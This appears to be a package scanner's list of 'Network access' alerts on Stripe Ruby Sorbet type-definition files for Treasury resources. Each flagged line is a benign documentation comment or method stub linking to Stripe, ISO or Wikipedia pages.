    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 45
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 46
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 47
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 63
    sig { returns(T.nilable(String)) }     def source_type; end     # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options)
  • Network accessline 64
    def source_type; end     # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.     sig { returns(T.nilab
  • Network accessline 65
    # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.
  • Network accessline 66
    sig { returns(T.nilable(String)) }     def transfer_group; end     # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to
  • Network accessline 67
    def transfer_group; end     # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll r
  • Network accessline 68
    # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll receive an “Insufficient Fund

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/credit_reversal.rbi

  • Network accessline 5
    module Stripe   module Treasury     # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a Cr
  • Network accessline 6
    module Treasury     # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal.   
  • Network accessline 7
    # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal.
  • Network accessline 24
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 25
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 26
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 30
    sig { returns(String) }       def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe
  • Network accessline 31
    def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses
  • Network accessline 32
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 39
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 40
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 41
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/debit_reversal.rbi

  • Network accessline 5
    module Stripe   module Treasury     # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a Debit
  • Network accessline 6
    module Treasury     # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal.     cl
  • Network accessline 7
    # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal.
  • Network accessline 35
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 36
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 37
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 41
    sig { returns(T.nilable(String)) }       def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated u
  • Network accessline 42
    def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses
  • Network accessline 43
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 53
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 54
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 55
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/financial_account.rbi

  • Network accessline 107
    sig { returns(Balance) }       def balance; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 108
    def balance; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(String) }
  • Network accessline 109
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 129
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 130
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T.
  • Network accessline 131
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 153
    sig { returns(StatusDetails) }       def status_details; end       # The currencies the FinancialAccount can hold a balance in. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 154
    def status_details; end       # The currencies the FinancialAccount can hold a balance in. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.       sig { returns(T::Array[String]) }
  • Network accessline 155
    # The currencies the FinancialAccount can hold a balance in. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/inbound_transfer.rbi

  • Network accessline 5
    module Stripe   module Treasury     # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) vi
  • Network accessline 6
    module Treasury     # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMetho
  • Network accessline 7
    # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y
  • Network accessline 8
    #     # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers)     class InboundTransfer < APIResource
  • Network accessline 9
    # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers)
  • Network accessline 37
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 38
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 39
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 49
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 50
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 51
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 94
    sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) }           def mandate; end           # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelin
  • Network accessline 95
    def mandate; end           # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type.           sig { returns(String) }
  • Network accessline 96
    # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type.
  • Network accessline 149
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 150
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 151
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 161
    sig { returns(String) }       def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe
  • Network accessline 162
    def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses
  • Network accessline 163
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 173
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 174
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 175
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/outbound_payment.rbi

  • Network accessline 5
    module Stripe   module Treasury     # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https:
  • Network accessline 6
    module Treasury     # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com
  • Network accessline 7
    # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts)
  • Network accessline 9
    # Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects.     #     # Related guide: [Moving money with Treasury using OutboundPayment o
  • Network accessline 10
    #     # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)     class OutboundPayment < APIResource
  • Network accessline 11
    # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)
  • Network accessline 17
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 18
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 19
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 29
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 30
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 31
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 88
    sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) }           def mandate; end           # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelin
  • Network accessline 89
    def mandate; end           # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type.           sig { returns(String) }
  • Network accessline 90
    # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type.
  • Network accessline 226
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 227
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 228
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 229
    sig { returns(String) }       def currency; end       # ID of the [customer](https://docs.stripe.com/api/customers) to whom an OutboundPayment is sent.
  • Network accessline 230
    def currency; end       # ID of the [customer](https://docs.stripe.com/api/customers) to whom an OutboundPayment is sent.       sig { returns(T.nilable(String)) }
  • Network accessline 231
    # ID of the [customer](https://docs.stripe.com/api/customers) to whom an OutboundPayment is sent.
  • Network accessline 250
    sig { returns(String) }       def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe
  • Network accessline 251
    def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses
  • Network accessline 252
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 259
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 260
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 261
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/outbound_transfer.rbi

  • Network accessline 5
    module Stripe   module Treasury     # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_acco
  • Network accessline 6
    module Treasury     # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a Payme
  • Network accessline 7
    # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t
  • Network accessline 9
    # Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects.     #     # Related guide: [Moving money with Treasury using OutboundTransfe
  • Network accessline 10
    #     # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)     class OutboundTransfer < APIResource
  • Network accessline 11
    # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)
  • Network accessline 17
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 18
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 19
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 29
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 30
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 31
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 88
    sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) }           def mandate; end           # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelin
  • Network accessline 89
    def mandate; end           # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type.           sig { returns(String) }
  • Network accessline 90
    # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type.
  • Network accessline 212
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 213
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 214
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 230
    sig { returns(String) }       def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe
  • Network accessline 231
    def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses
  • Network accessline 232
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 239
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 240
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 241
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/received_credit.rbi

  • Network accessline 5
    module Stripe   module Treasury     # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount.
  • Network accessline 6
    module Treasury     # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount.     class Recei
  • Network accessline 7
    # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount.
  • Network accessline 13
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 14
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 15
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 25
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 26
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 27
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 91
    sig { returns(T.nilable(FinancialAccount)) }         def financial_account; end         # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID.
  • Network accessline 92
    def financial_account; end         # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID.         sig { returns(T.nilable(String)) }
  • Network accessline 93
    # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID.
  • Network accessline 113
    class LinkedFlows < ::Stripe::StripeObject         class SourceFlowDetails < ::Stripe::StripeObject           # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reve
  • Network accessline 114
    class SourceFlowDetails < ::Stripe::StripeObject           # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a n
  • Network accessline 115
    # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal.
  • Network accessline 116
    sig { returns(T.nilable(::Stripe::Treasury::CreditReversal)) }           def credit_reversal; end           # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send fun
  • Network accessline 117
    def credit_reversal; end           # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https:/
  • Network accessline 118
    # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts)
  • Network accessline 120
    # Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects.           #           # Related guide: [Moving money with Treasury using Outbo
  • Network accessline 121
    #           # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)           sig { returns(T.nilable(::Stripe::Treasury::Ou
  • Network accessline 122
    # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)
  • Network accessline 123
    sig { returns(T.nilable(::Stripe::Treasury::OutboundPayment)) }           def outbound_payment; end           # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to tran
  • Network accessline 124
    def outbound_payment; end           # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_acco
  • Network accessline 125
    # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t
  • Network accessline 127
    # Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects.           #           # Related guide: [Moving money with Treasury using Out
  • Network accessline 128
    #           # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)           sig { returns(T.nilable(::Stripe::Treasury::
  • Network accessline 129
    # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)
  • Network accessline 137
    # industry.           #           # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)
  • Network accessline 138
    #           # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)           sig { returns(T.nilable(::Stripe::Payout)) }
  • Network accessline 139
    # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)
  • Network accessline 153
    sig { returns(T.nilable(String)) }         def credit_reversal; end         # Set if the ReceivedCredit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object.
  • Network accessline 154
    def credit_reversal; end         # Set if the ReceivedCredit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object.         sig { returns(T.nilable(String)) }
  • Network accessline 155
    # Set if the ReceivedCredit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object.
  • Network accessline 156
    sig { returns(T.nilable(String)) }         def issuing_authorization; end         # Set if the ReceivedCredit is also viewable as an [Issuing transaction](https://api.stripe.com#issuing_transactions) object.
  • Network accessline 157
    def issuing_authorization; end         # Set if the ReceivedCredit is also viewable as an [Issuing transaction](https://api.stripe.com#issuing_transactions) object.         sig { returns(T.nilable(String)) }
  • Network accessline 158
    # Set if the ReceivedCredit is also viewable as an [Issuing transaction](https://api.stripe.com#issuing_transactions) object.
  • Network accessline 195
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 196
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 197
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 207
    sig { returns(T.nilable(String)) }       def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated u
  • Network accessline 208
    def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses
  • Network accessline 209
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/received_debit.rbi

  • Network accessline 5
    module Stripe   module Treasury     # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.
  • Network accessline 6
    module Treasury     # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.     class ReceivedDebit < APIResource
  • Network accessline 7
    # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.
  • Network accessline 13
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 14
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 15
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 25
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 26
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
